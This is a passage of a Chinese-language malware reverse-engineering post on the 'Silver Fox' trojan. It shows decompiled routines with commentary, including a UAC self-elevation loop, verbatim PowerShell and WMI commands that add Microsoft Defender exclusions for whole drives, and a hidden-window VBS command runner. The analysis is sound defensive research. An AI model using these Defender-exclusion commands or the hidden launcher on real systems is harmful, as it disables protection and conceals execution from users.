[rbp-20h] unsigned int (__fastcall *v38)(__int64, __int64, __int64, __int64, unsigned int *, __int64); // [rsp+D0h] [rbp-18h] void (__fastcall *v39)(__int64, __int64, __int64, __int64); // [rsp+D8h] [rbp-10h] v33 = 0; strcpy(v28, "kernel32.dll"); strcpy(v31, "GetCurrentProcess"); v36 = (__int64 (*)(void))sub_C75(a1, a2, a3: (unsigned int)v31, a4: (unsigned int)v28, a5, a6); strcpy(v27, "Advapi32.dll"); strcpy(v30, "OpenProcessToken"); strcpy(v32, "GetTokenInformation"); v37 = (unsigned int (__fastcall *)(__int64, __int64, __int64, __int64, __int64 *))sub_C75( a1: v6, a2: v7, a3: (unsigned int)v30, a4: (unsigned int)v27, a5: v8, a6: v9); v38 = (unsigned int (__fastcall *)(__int64, __int64, __int64, __int64, unsigned int *, __int64))sub_C75( a1: v10, a2: v11, a3: (unsigned int)v32, a4: (unsigned int)v27, a5: v12, a6: v13); strcpy(v29, "CloseHandle"); v39 = (void (__fastcall *)(__int64, __int64, __int64, __int64))sub_C75( a1: v14, a2: v15, a3: (unsigned int)v29, a4: (unsigned int)v28, a5: v16, a6: v17); v18 = v36(); if ( v37(a1: v19, a2: v20, a3: 8, a4: v18, a5: &v35) != 0 ) { if ( v38(a1: v21, a2: v22, a3: 20, a4: v35, a5: &v34, a6: 4) != 0 ) v33 = v34; v39(a1: v24, a2: v25, a3: v23, a4: v35); } return v33; } ``` 这就是“自我提权重启”——当前实例没管理员权限时,用 `runas` 动词重新启动自己(弹 UAC),新实例带着 `"plp"` 参数以管理员身份运行,旧实例退出。**注意第②步是无限循环:如果你拒绝 UAC 弹窗,它会一直弹到你同意为止**(吵闹但有效的手法)。`sub_18D5` 就是“我是否已经是管理员”的判断。 ``` __int64 sub_2295() { __int64 result; // rax int v1; // edi int v2; // esi int v3; // r8d int v4; // r9d __int64 v5; // rdi __int64 v6; // rsi __int64 v7; // rdi __int64 v8; // rsi void (__fastcall *v9)(__int64, __int64, const char *, _QWORD, const char *, const char *); // [rsp+38h] [rbp-30h] char v10[16]; // [rsp+40h] [rbp-28h] BYREF char v11[24]; // [rsp+50h] [rbp-18h] BYREF result = sub_1FB5(); if ( (_DWORD)result != 0 ) { strcpy(v10, "Shell32.dll"); strcpy(v11, "ShellExecuteA"); v9 = (void (__fastcall *)(__int64, __int64, const char *, _QWORD, const char *, const char *))sub_C75( a1: v1, a2: v2, a3: (unsigned int)v11, a4: (unsigned int)v10, a5: v3, a6: v4); v9( a1: v5, a2: v6, a3: "open", a4: 0, a5: "powershell.exe", a6: "Add-MpPreference -ExclusionPath 'C:\\Windows','C:\\Windows\\Temp','C:\\ProgramData','C:\\Users','C:\\Program Files" " (x86)','C:\\' -Force"); result = ((__int64 (__fastcall *)(__int64, __int64, char *, _QWORD, const char *, const char *))v9)( a1: v7, a2: v8, a3: "open", a4: 0, a5: "powershell.exe", a6: "try {$null = icim MSFT_MpPreference @{ExclusionPath = @('C:\\','C:\\Users','C:\\Windows\\Temp','C:\\Windo" "ws','C:\\ProgramData','C:\\Program Files (x86)'); Force = $True} Add -Namespace root/Microsoft/Windows/De" "fender -EA 1} catch{$host.SetShouldExit($_.Exception.HResult)}"); if ( (_DWORD)result == 0 ) return 1; } return result; } ``` `icim` = `Invoke-CimMethod`——不走 `Add-MpPreference` 命令行,而是**直连 WMI 的 MSFT_MpPreference 提供者**改 Defender 排除项。为什么发两发?因为第一发会被 **篡改保护(Tamper Protection)** 拦截,第二发绕过 cmdlet 层直接操作 WMI——这是当前主流的 Defender 排除绕过手法。 ``` __int64 __fastcall sub_8F35(__int64 a1, int a2, int a3, int a4, __int64 a5, int a6) { int v6; // edi int v7; // esi int v8; // r8d int v9; // r9d int v10; // edi int v11; // esi int v12; // r8d int v13; // r9d int v14; // edi int v15; // esi int v16; // r8d int v17; // r9d int v18; // edi int v19; // esi int v20; // r8d int v21; // r9d int v22; // edi int v23; // esi int v24; // r8d int v25; // r9d int v26; // edi int v27; // esi int v28; // r8d int v29; // r9d int v30; // edi int v31; // esi int v32; // r8d int v33; // r9d __int64 v34; // rdi __int64 v35; // rsi int v36; // esi int v37; // r8d int v38; // r9d int v39; // edi int v40; // esi int v41; // r8d int v42; // r9d int v43; // edi int v44; // esi int v45; // r8d int v46; // r9d int v47; // edi int v48; // esi int v49; // r8d int v50; // r9d int v51; // edi int v52; // esi int v53; // r8d int v54; // r9d int v55; // edi int v56; // esi int v57; // r8d int v58; // r9d int v59; // edx int v60; // edi int v61; // esi int v62; // r8d int v63; // r9d unsigned int v64; // eax __int64 v65; // rdi __int64 v66; // rsi __int64 v67; // rdx __int64 v68; // rdi __int64 v69; // rsi int v70; // edx int v71; // edi int v72; // esi int v73; // r8d int v74; // r9d __int64 v75; // rax __int64 v76; // rdi __int64 v77; // rsi int v78; // edi int v79; // esi int v80; // r9d __int64 v82; // [rsp+0h] [rbp-618h] __int64 v83; // [rsp+8h] [rbp-610h] char v84[16]; // [rsp+40h] [rbp-5D8h] BYREF char v85[16]; // [rsp+50h] [rbp-5C8h] BYREF char v86[16]; // [rsp+60h] [rbp-5B8h] BYREF char v87[16]; // [rsp+70h] [rbp-5A8h] BYREF char v88[16]; // [rsp+80h] [rbp-598h] BYREF char v89[16]; // [rsp+90h] [rbp-588h] BYREF char v90[24]; // [rsp+A0h] [rbp-578h] BYREF __int64 v91; // [rsp+B8h] [rbp-560h] __int64 v92; // [rsp+C0h] [rbp-558h] _BYTE v93[4]; // [rsp+C8h] [rbp-550h] BYREF int v94; // [rsp+CCh] [rbp-54Ch] __int64 (__fastcall *v95)(__int64, __int64, __int64, _BYTE *, _QWORD, _QWORD); // [rsp+D0h] [rbp-548h] __int64 (__fastcall *v96)(__int64, __int64, _BYTE *, __int64, _QWORD, _BYTE *); // [rsp+D8h] [rbp-540h] void (__fastcall *v97)(__int64, __int64, __int64, __int64); // [rsp+E0h] [rbp-538h] __int64 (*v98)(void); // [rsp+E8h] [rbp-530h] __int64 (__fastcall *v99)(__int64, __int64, __int64, __int64, __int64); // [rsp+F0h] [rbp-528h] __int64 v100; // [rsp+F8h] [rbp-520h] _BYTE v101[260]; // [rsp+100h] [rbp-518h] BYREF int v102; // [rsp+204h] [rbp-414h] BYREF _BYTE v103[1024]; // [rsp+210h] [rbp-408h] BYREF __int64 v104; // [rsp+610h] [rbp-8h] BYREF memset(v101, 0, sizeof(v101)); sub_4815(a1: (unsigned int)&v102, a2, a3: a4, a4: (unsigned int)v101, a5: 260, a6); sub_48C5(a1: v6, a2: v7, a3: (unsigned int)"checktime.vbs", a4: (unsigned int)v101, a5: v8, a6: v9); strcpy(v84, "kernel32.dll"); strcpy(v89, "GetProcessHeap"); strcpy(v86, "HeapAlloc"); strcpy(v87, "CreateFileA"); strcpy(v85, "WriteFile"); strcpy(v88, "CloseHandle"); strcpy(v90, "FlushFileBuffers"); v97 = (void (__fastcall *)(__int64, __int64, __int64, __int64))sub_C75( a1: v10, a2: v11, a3: (unsigned int)v90, a4: (unsigned int)v84, a5: v12, a6: v13); v95 = (__int64 (__fastcall *)(__int64, __int64, __int64, _BYTE *, _QWORD, _QWORD))sub_C75( a1: v14, a2: v15, a3: (unsigned int)v87, a4: (unsigned int)v84, a5: v16, a6: v17); v96 = (__int64 (__fastcall *)(__int64, __int64, _BYTE *, __int64, _QWORD, _BYTE *))sub_C75( a1: v18, a2: v19, a3: (unsigned int)v85, a4: (unsigned int)v84, a5: v20, a6: v21); v100 = sub_C75(a1: v22, a2: v23, a3: (unsigned int)v88, a4: (unsigned int)v84, a5: v24, a6: v25); v98 = (__int64 (*)(void))sub_C75(a1: v26, a2: v27, a3: (unsigned int)v89, a4: (unsigned int)v84, a5: v28, a6: v29); v99 = (__int64 (__fastcall *)(__int64, __int64, __int64, __int64, __int64))sub_C75( a1: v30, a2: v31, a3: (unsigned int)v86, a4: (unsigned int)v84, a5: v32, a6: v33); v91 = v95(a1: v34, a2: v35, a3: 0x40000000, a4: v101, a5: 0, a6: 0); memset(v103, 0, sizeof(v103)); v103[0] = 0; sub_48C5( a1: (unsigned int)&v104, a2: v36, a3: (unsigned int)"On Error Resume Next\r\n", a4: (unsigned int)v103, a5: v37, a6: v38); sub_48C5( a1: v39, a2: v40, a3: (unsigned int)"Set WShell = CreateObject(\"WScript.Shell\")\r\n", a4: (unsigned int)v103, a5: v41, a6: v42); sub_48C5(a1: v43, a2: v44, a3: (unsigned int)"WShell.Run \"\"\"", a4: (unsigned int)v103, a5: v45, a6: v46); sub_48C5(a1: v47, a2: v48, a3, a4: (unsigned int)v103, a5: v49, a6: v50); sub_48C5(a1: v51, a2: v52, a3: (unsigned int)"\"\"\", 0, False\r\n", a4: (unsigned int)v103, a5: v53, a6: v54); sub_48C5( a1: v55, a2: v56, a3: (unsigned int)"Set WShell = Nothing\r\nWScript.Quit\r\n", a4: (unsigned int)v103, a5: v57, a6: v58); v64 = sub_8EF5(a1: v60, a2: v61, a3: v59, a4: (unsigned int)v103, a5: v62, a6: v63); v94 = v96(a1: v65, a2: v66, a3: v103, a4: v91, a5: v64, a6: v93); v97(a1: v68, a2: v69, a3: v67, a4: v91); sub_5CB5(a1: v71, a2: v72, a3: v70, a4: (unsigned int)v101, a5: v73, a6: v74); v75 = v98(); v92 = v99(a1: v76, a2: v77, a3: 8, a4: v75, a5: 261); sub_4945(a1: v78, a2: v79, a3: (unsigned int)v101, a4: v92, a5: 261, a6: v80, a7: v82, a8: v83); return v92; } ``` **这是个通用的“隐形命令执行器”**:调用者给它任何命令,它就包一层 VBS(`WShell.Run "...", 0, False`——**隐藏窗口、不等待**)写成 `checktime.vbs` 落盘,返回路径。文件名叫 "checktime" 纯属伪装。它被谁调用、传了什么命令,决定了它的真实用途(可能不止调用一次)。
冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。
收藏
・
0
点赞
・
0
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
0
)
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
viper333
4
发帖
2
回帖
10
RANK
关注
私信
他的文章
[原创][原创]银狐木马深度剖析:手工拆解三层自解密壳与 48KB 最终载荷
0
[原创]第七题:戌时·暗能潜流wp
29
[分享]KCTF 2026 Reverse:巳时·绿光幽语
90
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部